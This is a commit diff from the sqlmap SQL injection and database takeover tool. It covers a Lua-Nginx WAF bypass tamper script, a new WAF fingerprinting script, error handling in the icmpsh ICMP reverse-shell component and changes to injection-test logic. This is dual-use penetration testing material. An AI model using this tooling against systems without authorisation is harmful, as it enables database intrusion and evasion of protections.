Manual tagging (automatic tagging failed for some reason)

* Lua-Nginx WAFs Bypass

Lua-Nginx WAFs doesn't support processing for more than 100 parameters.
https://www.youtube.com/watch?v=JUvro7cqidY

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

Update header.

* Update luanginxwafbypass.py

.github/CONTRIBUTING.md

@@ -24,7 +24,6 @@ Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md)
 In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
 
 * Each patch should make one logical change.
-* Wrap code to 76 columns when possible.
 * Avoid tabbing, use four blank spaces instead.
 * Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:[email protected]).
 * Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.

.travis.yml

@@ -1,4 +1,7 @@
 language: python
+sudo: false
+git:
+    depth: 1
 python:
     - "2.6"
     - "2.7"

README.md

@@ -1,10 +1,10 @@
 # sqlmap
 
-[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
 
 sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
 
-**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_medium=referral&utm_content=sqlmap+repo&utm_campaign=generic+advert).**
+**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
 
 Screenshots
 ----
@@ -64,5 +64,6 @@ Translations
 * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
 * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
+* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
 * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
 * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)

doc/CHANGELOG.md

@@ -3,7 +3,7 @@
 * Implemented support for automatic decoding of page content through detected charset.
 * Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.).
 * Major improvements to program stabilization based on user reports.
-* Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms.
+* Added new tampering scripts avoiding popular WAF/IPS mechanisms.
 * Fixed major bug with DNS leaking in Tor mode.
 * Added wordlist compilation made of the most popular cracking dictionaries.
 * Implemented multi-processor hash cracking routine(s).
@@ -23,7 +23,7 @@
 * Added option `--csv-del` for manually setting delimiting character used in CSV output.
 * Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval.
 * Added switch `--smart` for conducting through tests only in case of positive heuristic(s).
-* Added switch `--check-waf` for checking of existence of WAF/IPS/IDS protection.
+* Added switch `--check-waf` for checking of existence of WAF/IPS protection.
 * Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables.
 * Added switch `--count` to count the number of entries for a specific table or all database(s) tables.
 * Major improvements to switches `--tables` and `--columns`.
@@ -55,7 +55,7 @@
 * Added option `--host` to set the HTTP Host header value.
 * Added switch `--hostname` to turn on retrieval of DBMS server hostname.
 * Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method.
-* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS/IDS protection.
+* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection.
 * Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized).
 * Added switch `--invalid-bignum` for usage of big numbers while invalidating values.
 * Added switch `--invalid-logical` for usage of logical operations while invalidating values.
@@ -78,7 +78,7 @@
 * Added option `--skip` to skip testing of given parameter(s).
 * Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
 * Added switch `--skip-urlencode` to skip URL encoding of payload data.
-* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection.
+* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection.
 * Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
 * Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
 * Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.

doc/THANKS.md

@@ -565,6 +565,9 @@ Efrain Torres, <et(at)metasploit.com>
 * for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository
 * for his great Metasploit WMAP Framework
 
+Jennifer Torres, <jtorresf42(at)gmail.com>
+* for contributing a tamper script luanginx.py
+
 Sandro Tosi, <matrixhasu(at)gmail.com>
 * for helping to create sqlmap Debian package correctly
 
@@ -597,6 +600,7 @@ Carlos Gabriel Vergara, <carlosgabrielvergara(at)gmail.com>
 
 Patrick Webster, <patrick(at)aushack.com>
 * for suggesting an enhancement
+* for donating to sqlmap development (from OSI.Security)
 
 Ed Williams, <ed.williams(at)ngssecure.com>
 * for suggesting a minor enhancement

doc/translations/README-ru-RUS.md

@@ -0,0 +1,50 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
+
+Скриншоты
+----
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые некоторые функции в wiki.
+
+Установка
+----
+
+Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или последний zipball, нажав  [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master).
+
+Предпочтительно вы можете загрузить sqlmap, клонируя [Git](https://github.com/sqlmapproject/sqlmap) репозиторий:
+
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6.x** и **2.7.x** на любой платформе.
+
+Использование
+----
+
+Чтобы получить список основных опций и вариантов выбора, используйте:
+
+    python sqlmap.py -h
+
+Чтобы получить список всех опций и вариантов выбора, используйте:
+
+    python sqlmap.py -hh
+
+Вы можете найти пробный запуск [тут](https://asciinema.org/a/46601).
+Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а также примеры, вам рекомендуется ознакомится с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+
+Ссылки
+----
+
+* Основной сайт: http://sqlmap.org
+* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues
+* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki
+* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* Демки: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

extra/icmpsh/icmpsh_m.py

@@ -80,7 +80,7 @@ def main(src, dst):
         cmd = ''
 
         # Wait for incoming replies
-        if sock in select.select([ sock ], [], [])[0]:
+        if sock in select.select([sock], [], [])[0]:
             buff = sock.recv(4096)
 
             if 0 == len(buff):
@@ -125,8 +125,12 @@ def main(src, dst):
                 # Have the IP packet contain the ICMP packet (along with its payload)
                 ip.contains(icmp)
 
-                # Send it to the target host
-                sock.sendto(ip.get_packet(), (dst, 0))
+                try:
+                    # Send it to the target host
+                    sock.sendto(ip.get_packet(), (dst, 0))
+                except socket.error, ex:
+                    sys.stderr.write("'%s'\n" % ex)
+                    sys.stderr.flush()
 
 if __name__ == '__main__':
     if len(sys.argv) < 3:

extra/mssqlsig/update.py

@@ -1,137 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-import codecs
-import os
-import re
-import urllib2
-import urlparse
-
-from xml.dom.minidom import Document
-
-# Path to the XML file with signatures
-MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml")
-
-# Url to update Microsoft SQL Server XML versions file from
-MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
-
-def updateMSSQLXML():
-    if not os.path.exists(MSSQL_XML):
-        errMsg = "[ERROR] file '%s' does not exist. Please run the script from its parent directory" % MSSQL_XML
-        print errMsg
-        return
-
-    infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL
-    print infoMsg
-
-    try:
-        req = urllib2.Request(MSSQL_VERSIONS_URL)
-        f = urllib2.urlopen(req)
-        mssqlVersionsHtmlString = f.read()
-        f.close()
-    except urllib2.URLError:
-        __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
-        __mssqlHostname = __mssqlPath[1]
-
-        warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname
-        warnMsg += " check your Internet connection and retry"
-        print warnMsg
-
-        return
-
-    releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
-    releasesCount = len(releases)
-
-    # Create the minidom document
-    doc = Document()
-
-    # Create the <root> base element
-    root = doc.createElement("root")
-    doc.appendChild(root)
-
-    for index in xrange(0, releasesCount):
-        release = releases[index]
-
-        # Skip Microsoft SQL Server 6.5 because the HTML
-        # table is in another format
-        if release == "6.5":
-            continue
-
-        # Create the <signatures> base element
-        signatures = doc.createElement("signatures")
-        signatures.setAttribute("release", release)
-        root.appendChild(signatures)
-
-        startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
-
-        if index == releasesCount - 1:
-            stopIdx = len(mssqlVersionsHtmlString)
-        else:
-            stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
-
-        mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
-        servicepackVersion = re.findall("</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)
-
-        for servicePack, version in servicepackVersion:
-            if servicePack.startswith(" "):
-                servicePack = servicePack[1:]
-            if "/" in servicePack:
-                servicePack = servicePack[:servicePack.index("/")]
-            if "(" in servicePack:
-                servicePack = servicePack[:servicePack.index("(")]
-            if "-" in servicePack:
-                servicePack = servicePack[:servicePack.index("-")]
-            if "*" in servicePack:
-                servicePack = servicePack[:servicePack.index("*")]
-            if servicePack.startswith("+"):
-                servicePack = "0%s" % servicePack
-
-            servicePack = servicePack.replace("\t", " ")
-            servicePack = servicePack.replace("No SP", "0")
-            servicePack = servicePack.replace("RTM", "0")
-            servicePack = servicePack.replace("TM", "0")
-            servicePack = servicePack.replace("SP", "")
-            servicePack = servicePack.replace("Service Pack", "")
-            servicePack = servicePack.replace("<a href=\"http:", "")
-            servicePack = servicePack.replace("  ", " ")
-            servicePack = servicePack.replace("+ ", "+")
-            servicePack = servicePack.replace(" +", "+")
-
-            if servicePack.endswith(" "):
-                servicePack = servicePack[:-1]
-
-            if servicePack and version:
-                # Create the main <card> element
-                signature = doc.createElement("signature")
-                signatures.appendChild(signature)
-
-                # Create a <version> element
-                versionElement = doc.createElement("version")
-                signature.appendChild(versionElement)
-
-                # Give the <version> elemenet some text
-                versionText = doc.createTextNode(version)
-                versionElement.appendChild(versionText)
-
-                # Create a <servicepack> element
-                servicepackElement = doc.createElement("servicepack")
-                signature.appendChild(servicepackElement)
-
-                # Give the <servicepack> elemenet some text
-                servicepackText = doc.createTextNode(servicePack)
-                servicepackElement.appendChild(servicepackText)
-
-    # Save our newly created XML to the signatures file
-    mssqlXml = codecs.open(MSSQL_XML, "w", "utf8")
-    doc.writexml(writer=mssqlXml, addindent="    ", newl="\n")
-    mssqlXml.close()
-
-    infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML
-    print infoMsg
-
-if __name__ == "__main__":
-    updateMSSQLXML()

extra/shutils/newlines.py

@@ -0,0 +1,30 @@
+#! /usr/bin/env python
+
+# Runs pylint on all python scripts found in a directory tree
+# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
+
+import os
+import sys
+
+def check(filepath):
+    if filepath.endswith(".py"):
+        content = open(filepath, "rb").read()
+
+        if "\n\n\n" in content:
+            index = content.find("\n\n\n")
+            print filepath, repr(content[index - 30:index + 30])
+
+if __name__ == "__main__":
+    try:
+        BASE_DIRECTORY = sys.argv[1]
+    except IndexError:
+        print "no directory specified, defaulting to current working directory"
+        BASE_DIRECTORY = os.getcwd()
+
+    print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY
+    for root, dirs, files in os.walk(BASE_DIRECTORY):
+        if any(_ in root for _ in ("extra", "thirdparty")):
+            continue
+        for name in files:
+            filepath = os.path.join(root, name)
+            check(filepath)

extra/shutils/pep8.sh

@@ -1,7 +0,0 @@
-#!/bin/bash
-
-# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
-# See the file 'LICENSE' for copying permission
-
-# Runs pep8 on all python files (prerequisite: apt-get install pep8)
-find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pep8 '{}' \;

extra/shutils/pycodestyle.sh

@@ -0,0 +1,7 @@
+#!/bin/bash
+
+# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+# See the file 'LICENSE' for copying permission
+
+# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
+find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pycodestyle --ignore=E501,E302,E305,E722,E402 '{}' \;

extra/shutils/pypi.sh

@@ -25,10 +25,11 @@ from setuptools import setup, find_packages
 setup(
     name='sqlmap',
     version='$VERSION',
-    description="Automatic SQL injection and database takeover tool",
+    description='Automatic SQL injection and database takeover tool',
+    long_description='sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.',
     author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
     author_email='[email protected], [email protected]',
-    url='https://sqlmap.org',
+    url='http://sqlmap.org',
     download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
     license='GNU General Public License v2 (GPLv2)',
     packages=find_packages(),

extra/shutils/regressiontest.py

@@ -27,7 +27,7 @@ SMTP_SERVER = "127.0.0.1"
 SMTP_PORT = 25
 SMTP_TIMEOUT = 30
 FROM = "[email protected]"
-#TO = "[email protected]"
+# TO = "[email protected]"
 TO = ["[email protected]", "[email protected]"]
 SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber())
 TARGET = "debian"
@@ -83,7 +83,7 @@ def main():
     if stderr:
         failure_email("Execution of regression test failed with error:\n\n%s" % stderr)
 
-    failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)
+    failed_tests = re.findall(r"running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)
 
     for failed_test in failed_tests:
         title = failed_test[0]

extra/wafdetectify/__init__.py

@@ -0,0 +1,8 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+pass

extra/wafdetectify/wafdetectify.py

@@ -0,0 +1,119 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import cookielib
+import glob
+import httplib
+import inspect
+import os
+import re
+import subprocess
+import sys
+import urllib2
+
+sys.dont_write_bytecode = True
+
+NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)"
+TIMEOUT = 10
+HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "max-age=0"}
+SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
+SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf")
+LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"}
+CACHE = {}
+WAF_FUNCTIONS = []
+
+def get_page(get=None, url=None, host=None, data=None):
+    key = (get, url, host, data)
+
+    if key in CACHE:
+        return CACHE[key]
+
+    page, headers, code = None, {}, httplib.OK
+
+    url = url or ("%s%s%s" % (sys.argv[1], '?' if '?' not in sys.argv[1] else '&', get) if get else sys.argv[1])
+    if not url.startswith("http"):
+        url = "http://%s" % url
+
+    try:
+        req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, HEADERS)
+        conn = urllib2.urlopen(req, timeout=TIMEOUT)
+        page = conn.read()
+        headers = conn.info()
+    except Exception, ex:
+        code = getattr(ex, "code", None)
+        page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
+        headers = ex.info() if hasattr(ex, "info") else {}
+
+    result = CACHE[key] = page, headers, code
+
+    return result
+
+def colorize(message):
+    if not subprocess.mswindows and sys.stdout.isatty():
+        message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message)
+        message = message.replace("@sqlmap", "\033[00;96m@sqlmap\033[00;49m")
+        message = message.replace(NAME, "\033[00;93m%s\033[00;49m" % NAME)
+
+    return message
+
+def main():
+    global WAF_FUNCTIONS
+
+    print colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR))
+
+    if len(sys.argv) < 2:
+        exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1]))
+
+    cookie_jar = cookielib.CookieJar()
+    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
+    urllib2.install_opener(opener)
+
+    sys.path.insert(0, SQLMAP_DIR)
+
+    for found in glob.glob(os.path.join(SCRIPTS_DIR, "*.py")):
+        dirname, filename = os.path.split(found)
+        dirname = os.path.abspath(dirname)
+
+        if filename == "__init__.py":
+            continue
+
+        if dirname not in sys.path:
+            sys.path.insert(0, dirname)
+
+        try:
+            if filename[:-3] in sys.modules:
+                del sys.modules[filename[:-3]]
+            module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8"))
+        except ImportError, msg:
+            exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], msg)))
+
+        _ = dict(inspect.getmembers(module))
+        if "detect" not in _:
+            exit(colorize("[x] missing function 'detect(get_page)' in WAF script '%s'" % found))
+        else:
+            WAF_FUNCTIONS.append((_["detect"], _.get("__product__", filename[:-3])))
+
+    WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower())
+
+    print colorize("[i] %d WAF scripts loaded" % len(WAF_FUNCTIONS))
+
+    found = False
+    for function, product in WAF_FUNCTIONS:
+        if found and "unknown" in product.lower():
+            continue
+
+        if function(get_page):
+            print colorize("[!] WAF/IPS identified as '%s'" % product)
+            found = True
+
+    if not found:
+        print colorize("[o] nothing found")
+
+    print
+
+if __name__ == "__main__":
+    main()

lib/controller/action.py

@@ -140,11 +140,11 @@ def action():
         conf.dbmsHandler.udfInjectCustom()
 
     # File system options
-    if conf.rFile:
-        conf.dumper.rFile(conf.dbmsHandler.readFile(conf.rFile))
+    if conf.fileRead:
+        conf.dumper.rFile(conf.dbmsHandler.readFile(conf.fileRead))
 
-    if conf.wFile:
-        conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
+    if conf.fileWrite:
+        conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType)
 
     # Operating system options
     if conf.osCmd:

lib/controller/checks.py

@@ -13,6 +13,7 @@ import random
 import re
 import socket
 import subprocess
+import sys
 import tempfile
 import time
 
@@ -47,6 +48,7 @@ from lib.core.common import unArrayizeValue
 from lib.core.common import urlencode
 from lib.core.common import wasLastResponseDBMSError
 from lib.core.common import wasLastResponseHTTPError
+from lib.core.convert import unicodeencode
 from lib.core.defaults import defaults
 from lib.core.data import conf
 from lib.core.data import kb
@@ -54,6 +56,7 @@ from lib.core.data import logger
 from lib.core.datatype import AttribDict
 from lib.core.datatype import InjectionDict
 from lib.core.decorators import cachedmethod
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
 from lib.core.enums import HASHDB_KEYS
@@ -67,10 +70,12 @@ from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.enums import REDIRECTION
 from lib.core.exception import SqlmapConnectionException
+from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSkipTargetException
 from lib.core.exception import SqlmapUserQuitException
+from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
 from lib.core.settings import CHECK_INTERNET_ADDRESS
 from lib.core.settings import CHECK_INTERNET_VALUE
@@ -85,9 +90,12 @@ from lib.core.settings import IDS_WAF_CHECK_RATIO
 from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
 from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
+from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
+from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
 from lib.core.settings import SUPPORTED_DBMS
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import URI_HTTP_HEADER
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.threads import getCurrentThreadData
@@ -146,8 +154,7 @@ def checkSqlInjection(place, parameter, value):
                 # error message, simple heuristic check or via DBMS-specific
                 # payload), ask the user to limit the tests to the fingerprinted
                 # DBMS
-                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), \
-                   SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
+                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                     msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
                     msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
                     kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
@@ -156,9 +163,7 @@ def checkSqlInjection(place, parameter, value):
             # message, via simple heuristic check or via DBMS-specific
             # payload), ask the user to extend the tests to all DBMS-specific,
             # regardless of --level and --risk values provided
-            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) \
-               and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or \
-               kb.heuristicDbms or injection.dbms):
+            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                 msg = "for the remaining tests, do you want to include all tests "
                 msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
                 msg += "level (%d)" % conf.level if conf.level < 5 else ""
@@ -206,7 +211,7 @@ def checkSqlInjection(place, parameter, value):
                     continue
 
                 match = re.search(r"(\d+)-(\d+)", test.request.columns)
-                if injection.data and match:
+                if match and injection.data:
                     lower, upper = int(match.group(1)), int(match.group(2))
                     for _ in (lower, upper):
                         if _ > 1:
@@ -242,9 +247,7 @@ def checkSqlInjection(place, parameter, value):
 
             # Skip tests if title, vector or DBMS is not included by the
             # given test filter
-            if conf.testFilter and not any(conf.testFilter in str(item) or \
-               re.search(conf.testFilter, str(item), re.I) for item in \
-               (test.title, test.vector, payloadDbms)):
+            if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                     debugMsg = "skipping test '%s' because its " % title
                     debugMsg += "name/vector/DBMS is not included by the given filter"
                     logger.debug(debugMsg)
@@ -252,9 +255,7 @@ def checkSqlInjection(place, parameter, value):
 
             # Skip tests if title, vector or DBMS is included by the
             # given skip filter
-            if conf.testSkip and any(conf.testSkip in str(item) or \
-               re.search(conf.testSkip, str(item), re.I) for item in \
-               (test.title, test.vector, payloadDbms)):
+            if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                     debugMsg = "skipping test '%s' because its " % title
                     debugMsg += "name/vector/DBMS is included by the given skip filter"
                     logger.debug(debugMsg)
@@ -336,6 +337,23 @@ def checkSqlInjection(place, parameter, value):
                 logger.debug(debugMsg)
                 continue
 
+            if stype == PAYLOAD.TECHNIQUE.UNION:
+                match = re.search(r"(\d+)-(\d+)", test.request.columns)
+                if match and not injection.data:
+                    _ = test.request.columns.split('-')[-1]
+                    if conf.uCols is None and _.isdigit() and int(_) > 10:
+                        if kb.futileUnion is None:
+                            msg = "it is not recommended to perform "
+                            msg += "extended UNION tests if there is not "
+                            msg += "at least one other (potential) "
+                            msg += "technique found. Do you want to skip? [Y/n] "
+                            kb.futileUnion = not readInput(msg, default='Y', boolean=True)
+
+                        if kb.futileUnion is False:
+                            debugMsg = "skipping test '%s'" % title
+                            logger.debug(debugMsg)
+                            continue
+
             infoMsg = "testing '%s'" % title
             logger.info(infoMsg)
 
@@ -345,7 +363,7 @@ def checkSqlInjection(place, parameter, value):
 
             # Parse test's <request>
             comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
-            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
+            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
 
             for boundary in boundaries:
                 injectable = False
@@ -421,7 +439,7 @@ def checkSqlInjection(place, parameter, value):
 
                         if conf.invalidLogical:
                             _ = int(kb.data.randomInt[:2])
-                            origValue = "%s AND %s=%s" % (value, _, _ + 1)
+                            origValue = "%s AND %s LIKE %s" % (value, _, _ + 1)
